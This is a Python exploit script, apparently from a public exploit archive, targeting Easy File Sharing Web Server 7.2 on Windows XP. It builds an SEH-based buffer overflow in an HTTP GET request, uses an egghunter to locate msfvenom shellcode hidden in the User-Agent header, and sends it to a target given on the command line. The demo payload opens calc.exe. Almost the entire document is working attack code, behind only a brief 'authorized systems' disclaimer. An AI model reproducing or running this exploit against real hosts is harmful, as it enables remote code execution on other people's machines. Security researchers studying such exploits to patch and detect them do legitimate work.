'''
	Exploit Scripter: Abhilash Nigam
	Vulnerable Software: Easy File Sharing Web Server 7.2 
		Available Here: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
	Payload: windows/exec CMD=calc.exe
	System Info: Windows XP SP3

	Disclaimer: PLEASE! This is for researche purposes only, and should only be used on authorized systems.
				Accessing a computer system or network without authorization or explicit permission is illegal.
'''


import socket
import os
import sys
import argparse


parser = argparse.ArgumentParser(description='Easy File Sharing Web Server Exploit')
parser.add_argument('-t', '--target', action='store', help='IP Address of the target Machine', default="", required=True)
parser.add_argument('-p', '--port', action='store', help='Port Number of the target Machine', default="", required=True, type=int)
args = parser.parse_args()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.target, args.port))

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8"
egghunter += "\x62\x33\x33\x66"					#egghunter : b33f
egghunter += "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

# msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00' -v "shellcode"
shellcode =  "b33fb33f"
shellcode += b""
shellcode += b"\xbd\x29\xde\x50\x2f\xd9\xc5\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x31\x31\x68\x13\x83\xe8\xfc"
shellcode += b"\x03\x68\x26\x3c\xa5\xd3\xd0\x42\x46\x2c\x20"
shellcode += b"\x23\xce\xc9\x11\x63\xb4\x9a\x01\x53\xbe\xcf"
shellcode += b"\xad\x18\x92\xfb\x26\x6c\x3b\x0b\x8f\xdb\x1d"
shellcode += b"\x22\x10\x77\x5d\x25\x92\x8a\xb2\x85\xab\x44"
shellcode += b"\xc7\xc4\xec\xb9\x2a\x94\xa5\xb6\x99\x09\xc2"
shellcode += b"\x83\x21\xa1\x98\x02\x22\x56\x68\x24\x03\xc9"
shellcode += b"\xe3\x7f\x83\xeb\x20\xf4\x8a\xf3\x25\x31\x44"
shellcode += b"\x8f\x9d\xcd\x57\x59\xec\x2e\xfb\xa4\xc1\xdc"
shellcode += b"\x05\xe0\xe5\x3e\x70\x18\x16\xc2\x83\xdf\x65"
shellcode += b"\x18\x01\xc4\xcd\xeb\xb1\x20\xec\x38\x27\xa2"
shellcode += b"\xe2\xf5\x23\xec\xe6\x08\xe7\x86\x12\x80\x06"
shellcode += b"\x49\x93\xd2\x2c\x4d\xf8\x81\x4d\xd4\xa4\x64"
shellcode += b"\x71\x06\x07\xd8\xd7\x4c\xa5\x0d\x6a\x0f\xa3"
shellcode += b"\xd0\xf8\x35\x81\xd3\x02\x36\xb5\xbb\x33\xbd"
shellcode += b"\x5a\xbb\xcb\x14\x1f\x33\x86\x35\x09\xdc\x4f"
shellcode += b"\xac\x08\x81\x6f\x1a\x4e\xbc\xf3\xaf\x2e\x3b"
shellcode += b"\xeb\xc5\x2b\x07\xab\x36\x41\x18\x5e\x39\xf6"
shellcode += b"\x19\x4b\x5a\x99\x89\x17\xb3\x3c\x2a\xbd\xcb"

buffer = "A" * 4061
buffer += "\xeb\x06\x90\x90" 		#overwriting the next SEH Record Address with jmp short 0x06
buffer += "\xa3\x02\x01\x10"  		#overwriting the SEH Handler Address with pop pop ret sequence
buffer += "\x90" * 10
buffer += egghunter
buffer += "D" * (5000 - len(buffer))


request = "GET /" + buffer + " HTTP/1.1 \r\n"
request += "Host: " + args.target + "\r\n"
request += "User-Agent: Mozilla/5.0 " + shellcode +"(X11; Linux x86_64;)\r\n"

sock.send(request)
sock.close()